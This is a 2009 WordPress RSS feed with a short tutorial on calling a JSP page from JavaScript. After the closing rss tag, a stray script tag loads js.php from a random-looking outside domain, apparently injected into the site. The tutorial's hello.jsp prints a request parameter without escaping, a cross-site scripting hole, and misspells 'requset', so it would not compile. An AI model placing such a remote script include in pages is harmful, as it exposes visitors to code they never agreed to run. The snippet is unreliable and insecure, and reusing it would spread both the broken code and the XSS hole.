<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; how to calljsp page from JS</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/how-to-calljsp-page-from-js/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to call Jsp page from Javascript?</title>
		<link>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/</link>
		<comments>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 12:07:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[how to call jsp from java script]]></category>
		<category><![CDATA[How to call Jsp page from Javascript]]></category>
		<category><![CDATA[how to calljsp page from JS]]></category>
		<category><![CDATA[INPUT TYPE=BUTTON]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[jsp page]]></category>
		<category><![CDATA[requset.getParameter]]></category>
		<category><![CDATA[window.location.href]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=196</guid>
		<description><![CDATA[We can call JSP page from JavaScript using &#8220;window.location.href = &#8216;download.jsp&#8217;?name=john;&#8221; where download.jsp is jsp file, name is parameter name and john is parameter value.
Example:
Hello.html:
&#60;html&#62;
&#60;head&#62;
&#60;title&#62;Add Faulty Phones&#60;/title&#62;
&#60;script type=&#8221;text/javascript&#8221;&#62;
function changeLocation()
{
window.location.href =&#8217;hello.jsp?name=John&#8217;;
}
&#60;/script&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;form method=get&#62;
&#60;INPUT TYPE=BUTTON ONCLICK=&#8221;changeLocation()&#8221; VALUE=&#8221;Click&#8221;&#62;
&#60;/form&#62;
&#60;/html&#62;

 hello.jsp:

 &#60;center&#62;Hello &#60;%=requset.getParameter(&#8221;name&#8221;)%&#62;
&#60;/center&#62;
]]></description>
			<content:encoded><![CDATA[<p>We can call JSP page from JavaScript using &#8220;<span style="font-size: x-small; font-family: Arial;">window.location.href = &#8216;download.jsp&#8217;?name=john;&#8221; where download.jsp is jsp file, name is parameter name and john is parameter value.</span></p>
<p><span style="font-size: x-small; font-family: Arial;"><strong><span style="text-decoration: underline;">Example:</span></strong></span></p>
<p><span style="font-size: x-small; font-family: Arial;"><strong><span style="text-decoration: underline;">Hello.html:</span></strong></span></p>
<p><span style="font-size: x-small; font-family: Arial;">&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;Add Faulty Phones&lt;/title&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
function changeLocation()<br />
{<br />
window.location.href =&#8217;hello.jsp?name=John&#8217;;<br />
}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;form method=get&gt;<br />
&lt;INPUT TYPE=BUTTON ONCLICK=&#8221;changeLocation()&#8221; VALUE=&#8221;Click&#8221;&gt;<br />
&lt;/form&gt;<br />
&lt;/html&gt;</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="text-decoration: underline;"> </span></strong><span style="font-size: x-small; font-family: Arial;"><span style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"><strong><span style="text-decoration: underline;">hello.jsp:</span><br />
</strong></span></span></p>
<p> &lt;center&gt;Hello &lt;%=requset.getParameter(&#8221;name&#8221;)%&gt;<br />
&lt;/center&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>